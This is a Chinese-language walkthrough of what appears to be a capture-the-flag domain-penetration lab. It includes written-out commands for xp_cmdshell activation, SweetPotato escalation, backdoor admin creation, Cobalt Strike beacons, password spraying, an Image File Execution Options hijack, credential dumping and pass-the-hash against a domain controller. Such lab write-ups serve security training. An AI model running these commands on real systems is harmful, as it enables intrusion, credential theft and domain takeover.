外网打点

信息收集

第一步就是fscan直接扫描

我们直接使用MDUT连接一下

激活一下XPCMDSHELL组件,不激活的话在XPCmdshell模式下是无法执行命令的,除了点击激活组件之外激活组件的原理其实就是下面这一条命令:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

以上几个组件可以命令执行的原因和原理参考:https://www.freebuf.com/articles/web/357538.html

我们执行命令可以看到目前的权限是比较低的

那么我们这个时候肯定就需要先进行提权操作了

提权方式

本来按道理上面软件上的几种方式都可以进行提权但是经过测试之后知道这个数据库没有clr组件,所以clr提权是不行的

翻了一下GITHUB找到一款用CLR提权的工具:https://github.com/Mayter/mssql-command-tool

翻一下网上的wp总结一下大致分为几种提权方式:

1.SweetPotato.exe提权

具体原理参考https://blog.csdn.net/qq_18811919/article/details/135290115

SweetPotato提权原理分为两种分别是:

1.SeImpersonatePrivilege(替换一个进程级令牌) 2.SeAssignPrimaryTokenPrivilege (身份验证后模拟客户端)

而且可以看到模拟客户端用户权限就是在这里其实就是调用了SpOACreate组件进行提权

我们不纠结这些细节,直接使用SweetPotato进行操作

随机选择一个幸运目录进行上传文件,注意多次尝试,因为现在的权限比较低,有些目录是上传不上去的找一个能传上去的目录

如图上传到迅雷下载的目录上去了

然后就是我们要知道SweetPotato的用法

[SweetPotato.exe所在路径] -a [执行的命令]

我们这里就是尝试如下命令执行即可:

C:/迅雷下载/SweetPotato.exe -a whoami

可以看到SweetPotato成功帮助我们伪造了管理员用户的身份

那么众所周知在执行完这一步之后一般都有给个flag

我们执行window中的搜索命令看看有没有先看看Users目录下因为基本上用户的桌面啥都在这

C:/迅雷下载/SweetPotato.exe -a "dir /s /p C:\Users\*flag*"

可以看到这里有我们的目标文件,打过取证的都知道lnk文件是访问时候产生的一个快捷lnk而已,没有内容我们直接读取不带lnk的flag01.txt直到获取到我们需要的为止

C:/迅雷下载/SweetPotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"

查找到目标我们直接type读取一下

flag01: flag{12f25ff1-6c29-4d59-9931-5c99e35efab0}

RDP连接

现在为了方便我们操作,我们应该要拿到一个拥有shell权限的机器,就是我们尝试获取一下shell,众所周知,我们现在拥有了管理员权限,那么我们就可以尝试进行rdp连接再添加一个管理员用户

参考命令看这个:https://blog.csdn.net/u012206617/article/details/129993723

C:/迅雷下载/SweetPotato.exe -a "net user N1tols1 qwer1234! /add"
C:/迅雷下载/SweetPotato.exe -a "net localgroup administrators N1tols1 /add"
C:/迅雷下载/SweetPotato.exe -a "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" # 这里是直接改了注册表把rdp全打开了

到这个时候我们就拿到了管理员权限的window机器

然后这个时候就到了我们外网打点的后期了,再次准备一个fscan直接传上去开扫

先执行ipconfig看看ip然后准备扫内网全段

ipconfig

然后执行

fscan.exe -h 172.22.8.0/24

172.22.8.18 WIN-WEB MSSQL弱口令被拿下的机器
172.22.8.46 WIN2016 
172.22.8.31 WIN19-CLIENT 
172.22.8.15 DC01 域控(高价值服务器,拿下就是拿下整个域)

为什么说拿下DC就是全部拿下了?

🧠一、什么是域控制器(DC)?
在Windows域环境中,域控制器(Domain Controller,DC)是一个或多个被配置为管理Active Directory(AD)服务的服务器。

用户身份认证(登录验证)
存储所有域账户信息(包括用户、计算机、组等)
管理组策略(GPO)
维护域内的安全策略
建立Kerberos分布式中心(KDC)
简单来说:它是整个域网络的身份中心与控制中心。

🔑 二、为什么说“拿下DC就等于拿下整个域”?
✅ 1.掌握所有用户的配额(NTLM Hash)
域控制器中存储着整个域内所有用户的密码哈希(NTLM Hash),位于:

C:\Windows\NTDS\ntds.dit

如果你能访问这个文件(比如通过管理员权限执行或使用Mimikatz),就可以提取出所有用户的缓存,首先进行:ntdsutil

哈希传递攻击
离线破解弱口令
创建黄金提案(Golden Ticket)
✅ 2. 可以创建任意域用户或将其加入域管理员组
获得DC权限后,您可以:

增加新的域用户(如:)hacker@domain.com
将任何用户提升为Domain Admins成员(域管理员)
直接远程连接域内任何机器(因为你是管理员)
✅ 3. 控制所有组策略(GPO)
GPO是一种可以对整个域内计算机/用户批量下发策略的机制。攻击者可以:

修改现有的GPO,引入有效脚本(如在线C2)
创建新的GPO,在所有目标主机上部署后门
这意味着您可以在整个域内实现自动化横向移动。

✅ 4. 获取Kerberos TGT(黄金票据)
Mimikatz 可以利用域控制器的 krbtgt 账户哈希生成Golden Ticket(黄金票据),格式化任何用户的 Kerberos 认证请求,从而:

在不依赖真实账户的情况下访问域资源
永久地行使权限(即使原账户被删除)
✅ 5.实现持久化控制(Persistence)
一旦拿下DC,几乎就可以实现:

不可清除的后门(例如隐藏账号、清除启动项)
全域范围内的持久化(通过GPO、计划任务等)
隐藏日志(修改审计策略或清空日志)


IP

开放端口

可能存在的服务

172.22.8.15(域控)

88

Kerberos(域认证)

135

RPC(远程过程调用)

139

网络BIOS

445

SMB(文件共享、IPC$)

172.22.8.18(web1)

80

HTTP(IIS Web服务器)

135

远程过程调用

139

网络BIOS

445

中小企业

1433

MSSQL(SQL 服务器)

172.22.8.31(web2)

80

HTTP(IIS Web服务器)

135

远程过程调用

139

网络BIOS

445

中小企业

172.22.8.46(web3)

80

HTTP(IIS Web服务器)

135

远程过程调用

139

网络BIOS

445

中小企业

使用quser查看计算机上的用户会话信息,quser信息参考:https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/quser

命令适用版本:Windows Server 2025, ✅ Windows Server 2022, ✅ Windows Server 2019, ✅ Windows Server 2016, ✅ Windows 11, ✅ Windows 10, ✅ Azure Local 2311.2 and later

可以看到除了我们添加上去的用户原本的用户名是john

netstat -no 
#使用命令查看网络链接信息

看到除了我们自己的链接以外还有别的域机器链接了这台机器

netstat -no|findstr "3389"

所以基本可以断定jhon用户是31机器的连接用户

身份令牌模拟

然后我们想办法伪造john用户的身份令牌

SharpToken.exe 是一个与 Windows 操作系统中令牌(Token)相关的工具,通常用于模拟用户或系统账户的权限。这类工具在合法授权的安全测试、渗透测试或红队演练中可能会被使用,但同时也可能被恶意软件滥用以提升权限或绕过安全机制。

一、什么是令牌(Token)?

在 Windows 系统中,令牌(Token) 是操作系统为每个登录用户和运行的进程创建的一个安全上下文对象,里面包含了用户的权限、组成员身份、访问控制信息等。

- 模拟令牌(Impersonate Token):意味着你可以“伪装”成另一个用户的身份来执行操作。
- 窃取令牌(Steal Token):从其他进程中提取其令牌并加以利用。
- 创建新令牌(Create Token):手动构造一个具有特定权限的令牌。



二、SharpToken.exe 是什么?

SharpToken.exe 是用 C# 编写的工具,属于 Sharp系列攻击工具(如 SharpSploit、SharpUp、SharpToken) 的一部分,主要用于在受控环境下进行高级权限管理或提权测试。

常见功能包括:

1. 列出当前系统中的可用令牌
2. 模拟指定用户/系统账户的令牌
3. 生成具有高权限的新令牌
4. 以 SYSTEM 或管理员身份运行命令或程序



三、模拟john 账户的令牌可以干嘛?

如果你成功模拟了用户 john的令牌,那么你就可以:

- 以 john 用户的身份运行任意程序或命令
- 访问 john 用户有权访问的文件、注册表项、网络资源
- 如果 john 属于管理员组,则可以获得管理员权限
- 尝试横向移动到其他系统(如果 john 有域权限)

> ⚠️ 注意:模拟令牌需要当前用户有一定的权限(例如 SeImpersonatePrivilege),并且目标账户的令牌必须存在于当前会话或系统中(比如由服务启动的进程)。

SharoToken伪造的用法如下,我们是伪造的rdp链接到这台主机WIN-WEB上的John用户的模拟令牌

SharpToken.exe execute "WIN-WEB\John" cmd true

然后会弹出缺少组件我们进行下载

找到服务器管理器

安装组件

等待安装完成再次执行命令

SharpToken.exe execute "WIN-WEB\John" cmd true
🧠 实际效果
这条命令的作用是:

尝试使用 WIN-WEB\John 用户的身份启动一个新的命令行窗口(cmd.exe),并且是在 John 的安全上下文中执行。 

换句话说:

如果你有权限模拟 John 的令牌(例如通过 SeImpersonatePrivilege)
并且 John 的令牌可以被访问到(比如由其他进程持有)
那么这条命令就会以 John 的身份运行 cmd.exe,你可以在这个命令行中进行任何 John 有权执行的操作。
⚠️ 注意事项
需要权限:
当前用户必须具有 SeImpersonatePrivilege 特权。
这个权限常见于系统服务账户(如 LocalSystem、NetworkService)和管理员账户。
John 必须存在于系统中,并且其令牌可被访问。
如果失败:
可能是因为没有权限。
或者目标用户没有活动的令牌。
或者命令格式不对(取决于 SharpToken 的具体版本)。
✅ 成功后你能做什么?
如果你成功以 WIN-WEB\John 的身份运行了 cmd.exe,你可以:

访问 John 用户有权访问的文件/注册表/网络资源
执行 PowerShell 脚本、下载 payload、横向移动等
如果 John 是管理员,你就可以提权执行任意高权限操作

所以那么我们知道我们现在启动的这个命令行应该是有了john用户的身份了,他是域内的一个用户然后rdp到了我们的web服务器不难猜测这个服务器是否是公司共享服务器

我们执行net use

具体net use用法建议参考:https://www.jianshu.com/p/ebe23e62f0ad

这里我们是为了获取john用户的所有的网络连接

注意:查看网络连接的原因是我们在这台机器也就是web1上没有找到我们想要的文件,这个时候我们成功伪造了jhon用户的令牌是否可以尝试获取jhon用户的网络连接,从而获取到jhon用户网络连接信息里面的内容呢?

可以看到远程连接了的网络文件夹是\\TSCLIENT\C

我们直接执行命令看看里面有什么

dir \\TSCLIENT\C

type \\TSCLIENT\C\credential.txt

可以看到我们成功拿到一个凭证信息和一个镜像劫持的提示

C:\Users\N1tols1\Desktop>type \\TSCLIENT\C\credential.txt
type \\TSCLIENT\C\credential.txt
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

CS上线

这里其实就是把上面的流程再走一遍,但是方法不同,不想看的可以直接跳过到内网横向,有一个很抽象的事情,就是我们需要准备一台公网服务器作为cs的服务器端,准备一台虚拟机作为cs的客户端,如果有师傅能不用到公网服务器就能上线还请教教我

首先我们在公网服务器上上线我们的teamserver端

./teamserver [自己的VPS的IP] [自己设置的密码]

然后在我们的kali端上线客户端

别名随便取就行了密码就是自己设置的密码

按照默认配置建一个监听器即可,这里的HTTPS地址都是一样的就是你的公网IP地址,本质上是给你的公网开了个监听让你的客户端能进行操作

然后我们选择

生成一个木马,我这里因为上面设置的用户已经是管理员用户了,所以我直接用我的N1tols用户上线

双击即可

当然我们依然可以用MDUT上线如下

C:/迅雷下载/SweetPotato.exe -a "C:/Users/Public/beacon_x64.exe"

然后我们的两个用户都成功上线

我们在使用cs执行命令的时候都需要加上shell才可以进行命令执行,比如我们上面执行的查看在线用户的命令,当然输出时间可能不会很快应该是我服务器在国外的原因

我们这个时候就可以进行CS注入进程

我们点击单独解析这个机器

选中进程列表

选中John用户的进程选择进程注入

一样可以看到远程网络连接的文件夹然后我们执行

shell dir \\TSCLIENT\C

就可以看到这个网络连接文件夹下的东西了

我们再执行读取文件内容的type如下

shell type \\TSCLIENT\C\credential.txt

还是一样拿到一套账号密码,并且提示了映像劫持

内网横向

frp内网穿透

首先我们需要先做内网穿透

首先我们要知道我们要上线的服务器是我们自己的VPS,所以frps要放到我们自己的服务器上上线

如上配置开放我们自己机器的6890端口

启动frps,然后在客户端就是靶机端启动frpc

运行了之后我们的代理就成功架设上了,我们这个时候我们还需要挂上kali的代理就行了如下

vim /etc/proxychains4.conf

我们需要在proxychains4.conf
修改一下隧道

然后我们尝试rdp域内的每一个机器

然后kali的隧道就打通了

RDP连接+密码喷洒

172.22.8.18 WIN-WEB MSSQL弱口令被拿下的机器
172.22.8.46 WIN2016 
172.22.8.31 WIN19-CLIENT 
172.22.8.15 DC01 域控(高价值服务器,拿下就是拿下整个域)

发现WIN19-CLIENT可以进行rdp连接

proxychains rdesktop 172.22.8.31:3389

C:\Users\N1tols1\Desktop>type \\TSCLIENT\C\credential.txt
type \\TSCLIENT\C\credential.txt
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

Do you know how to hijack Image?

在看到我们刚才拿到的用户名密码尝试登录一下

然后发现我们的用户名密码是过期的需要进行更改

我们尝试更改完成密码之后发现还是不能够登录进去

原因是没有远程登陆的权限

我们只好另外找一个可以连接rdp的机器我们尝试连接WIN2016

proxychains rdesktop 172.22.8.46:3389

参考大佬的文章学一下密码喷洒:https://blog.csdn.net/uuzeray/article/details/141406072

proxychains crackmapexec smb 172.22.8.1/24 -u Aldrich -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null

这个的作用显而易见了,就是看看内网哪些

但是注意在执行前我们需要先安装一下request依赖

apt install python3-requests

喷洒完成之后如上所示,提示STATUS_PASSWORD_EXPIRED的就是密码过期了

下面是另一种修改密码的方式但是注意这是因为我们上面在登录WIN19-CLIENT已经手动修改过了密码所以所有域内的这个用户的密码已经变成了我上次修改的密码,如果在上面手动修改了的下面smbpasswd.py修改密码可以自动忽略即可,如果上面没有修改密码,那么使用下面这个方式简单一点

然后我们对密码都进行修改

https://github.com/fortra/impacket/releases/download/impacket_0_10_0/impacket-0.10.0.tar.gz

我们这里使用smbpasswd.py修改密码

proxychains python smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'N1tols123!'

然后为了方便连接我们直接使用命令进行连接

proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'N1tols123!' -r disk:share=/home/kali/Desktop/tmp

映像劫持提权

参考文章:https://www.freebuf.com/articles/system/321211.html

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

直接powershell对注册表进行操作,注意这个普通用户也可以操作

操作成功后锁定用户

等待加载完成可能会有点慢

点击右下角里面的放大镜使用放大镜提权

然后输入命令whoami查看权限,这边建议大家要是有条件还是用国内的VPS好一点我这个简直慢死了

可以看到成功提权了

dir /s /p C:\Users\*flag*

仍然使用命令看到了flag所在位置

读取flag02

type "C:\Users\Administrator\flag\flag02.txt"

成功拿下flag2

flag{40abdb0f-461a-42e2-8181-a190c7cde680}

然后我们就要想办法拿到48这个机子的管理员权限,因为机子不出网,所以我们要做个代理转发

我们再拿这个监听器做个马

成功做完马之后我们需要把这个马传到机器上然后用放大镜去执行

我们做完这个马,把他拖入我们刚才设置的共享文件夹里面去/home/kali/Desktop/tmp没有这个文件夹就创建一个就行了

然后把马拖到桌面上,然后用放大镜执行因为我们需要管理员权限改个名字好打一点

C:\Users\Aldrich\Desktop\beacon.exe

成功拿下这台机器了

抓取密码管理员域成员PTH打DC

使用命令查看我们刚才拿下的这个域名的管理员域成员

shell net group "domain admins" /domain


先回顾一下我们的机器

172.22.8.18 WIN-WEB MSSQL弱口令被拿下的机器
172.22.8.46 WIN2016 已拿下
172.22.8.31 WIN19-CLIENT 
172.22.8.15 DC01 域控(高价值服务器,拿下就是拿下整个域)

可以看到管理员域成员有两个,那么不用想就是WIN2016$就是突破口

logonpasswords

使用命令抓取密码

proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 90c1c829bcacbbd7db698223c04aebb4 -d xiaorang -x "dir /s /p C:\Users\*flag*"

然后就可以直接拿管理员域成员WIN2016$直接打DC机器拿到先找找flag3位置

proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 90c1c829bcacbbd7db698223c04aebb4 -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"

最后终于拿下了

flag{d91f77e2-ef5a-483d-af18-2084df997504}